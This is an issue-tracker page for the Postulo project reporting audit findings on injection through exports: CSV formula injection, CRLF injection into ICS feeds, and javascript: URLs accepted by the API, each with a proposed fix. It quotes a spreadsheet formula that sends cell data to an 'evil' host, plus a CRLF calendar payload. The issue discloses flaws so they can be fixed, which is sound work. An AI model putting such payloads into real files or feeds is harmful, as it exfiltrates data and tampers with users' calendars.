Injection through exports: formulas in the report CSV, lines in the ICS feeds, javascript: URLs through the API #218
Labels
No labels
accessibility
authentication
breaking change
bug
documentation
enhancement
interface
internationalisation
observability
security
tier
1
tier
2
tier
3
tier/4
No project
No assignees
1 participant
Notifications
Due date
No due date set.
Dependencies
No dependencies set.
Reference
Postulo/postulo#218
Loading…
Add table
Add a link
Reference in a new issue
No description provided.
Delete branch "%!s()"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
Text that came from a stranger's page (a captured posting) or from an API client reaches files and links that other programs open. Found in the 2026-09-15 code audit.
1. Report CSV: formulas are not neutralised
applications/reports.py:513-530writes company, role, source and URL as they are.JobPostingDataonly strips whitespace (plugins/base.py:40-43).=HYPERLINK("https://evil/?"&A2,"Open"), or a DDE payload, runs when the file is opened.Fix: prefix
'to any cell starting with=,+,-,@, a tab or a carriage return, in every CSV Postulo writes (the report, the CSV template, any export). Add a test.2. ICS feeds: contact names can add lines
applications/ical.py:46-51(parameter()) removes only", and the value lands in theATTENDEE;CN=line (:119).escape()(:35-43) leaves a lone\r.Contact.nameis a plainCharField, and the API passes it straight through.\r\nBEGIN:VALARM…or anATTACH:line adds properties in every calendar that subscribes to/applications/…/calendar.icsor/api/v1/interviews/calendar.ics.Fix: strip control characters in
parameter(), turn a lone\rinto\ninescape(), and add a test with a CRLF-laden name.3. The API accepts
javascript:URLs that templates render as linksapi/schemas.py:91-92(website,careers_url) and:172(urlonListingIn) are plain strings.api/routers/companies.pysets them withsetattrand never callsfull_clean.hrefincompany_detail.html,company_row.html,posting_detail.html,application_detail.htmlandreport.html.Capture.urlare probably the same.Fix: check for
http/httpsin the API schemas and inJobPostingData.url, reusingURLValidator. Consider asafe_hreftemplate filter as a second line of defence.